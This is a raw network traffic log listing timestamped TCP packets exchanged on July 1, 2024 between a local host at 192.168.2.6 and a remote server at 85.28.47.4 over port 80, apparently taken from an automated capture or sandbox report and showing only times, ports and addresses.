Jul 1, 2024 07:20:37.088779926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088789940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088814020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088825941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088846922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088854074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088881969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088893890 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088895082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088921070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088928938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088947058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.088963985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.088969946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089015961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089045048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089076996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089121103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089128017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089138985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089160919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089168072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089200020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089210987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089242935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089276075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089284897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089307070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089317083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089324951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089359045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089382887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089391947 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089409113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089426041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089433908 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089474916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089484930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089509010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089524031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089548111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.089562893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.089595079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148561001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148627043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148699045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148730993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148746014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148765087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148776054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148809910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148819923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148854017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148864031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148888111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148895979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.148921967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148938894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.148988008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.149019957 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.149053097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.149053097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.149053097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.149075031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.149086952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.149101019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.149128914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.149142981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.149183989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.159755945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159775972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159825087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159842968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159843922 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.159861088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159878016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159884930 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.159897089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159913063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.159913063 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.159940958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.159966946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.170773983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.170793056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.170810938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.170850039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.170871973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.170877934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.170897007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.170932055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.170947075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.170989990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171040058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171076059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171089888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171093941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171111107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171116114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171124935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171128035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171158075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171169996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171183109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171207905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171211004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171245098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171257973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171262026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171274900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171284914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171304941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171314001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171365976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171415091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171432018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171463966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171478033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171482086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171502113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.171503067 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171523094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.171549082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179733992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179754972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179788113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179810047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179814100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179847956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179852962 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179867029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179867029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179887056 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.179897070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179910898 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179932117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.179987907 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180006027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180038929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180053949 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180054903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180077076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180080891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180095911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180111885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180113077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180129051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180130005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180154085 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180160046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180185080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180201054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180217981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180234909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180247068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180279970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180351973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180366039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180391073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180417061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180425882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180444002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180459976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180497885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180512905 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180531979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180569887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180579901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180586100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180603981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180613041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180619955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180622101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180655003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180660963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180660963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180675030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180685997 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180692911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180711985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180712938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180742025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180800915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180820942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180852890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180871010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180871010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180922031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180943966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.180974960 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.180993080 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181009054 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181026936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181035042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181044102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181056023 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181090117 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181126118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181143045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181180000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181186914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181197882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181230068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181246996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181257010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181265116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181282043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181289911 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181304932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181328058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181478977 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181497097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181514025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181529999 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181541920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181548119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181571007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181582928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181618929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181618929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181684971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181703091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181735039 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181752920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.181755066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181771994 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.181798935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.182004929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.182054996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.182055950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.182075024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:37.182106018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.182117939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.592820883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:37.597706079 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:38.315148115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:38.315259933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:38.416740894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:38.636799097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:38.949199915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:39.395776987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:39.395804882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:39.395854950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:40.139678955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:40.139884949 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:40.791619062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:40.796603918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.497756004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.497867107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.768488884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.773555994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949052095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949098110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949132919 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949166059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949201107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949206114 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949234962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949264050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949270010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949282885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949305058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949311018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949340105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949353933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949388027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949395895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949430943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949440002 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949465990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949475050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949497938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:41.949512005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:41.949557066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031394005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031517982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031543016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031574011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031584978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031610012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031620979 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031660080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031668901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031703949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031718016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031740904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031743050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031775951 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031786919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031831026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031845093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031898022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031900883 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031935930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.031941891 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.031971931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032001019 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032005072 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032032967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032040119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032054901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032078981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032109976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032144070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032156944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032179117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032186985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032212973 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032224894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032246113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032255888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032279968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032289028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032315016 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032325983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032355070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032356977 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032388926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032399893 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032424927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032433987 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032460928 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.032470942 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.032504082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.113894939 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.113991022 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114002943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114058018 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114063025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114100933 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114113092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114150047 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:42.114154100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:42.114193916 CEST	49711	80	192.168.2.6	85.28.47.4
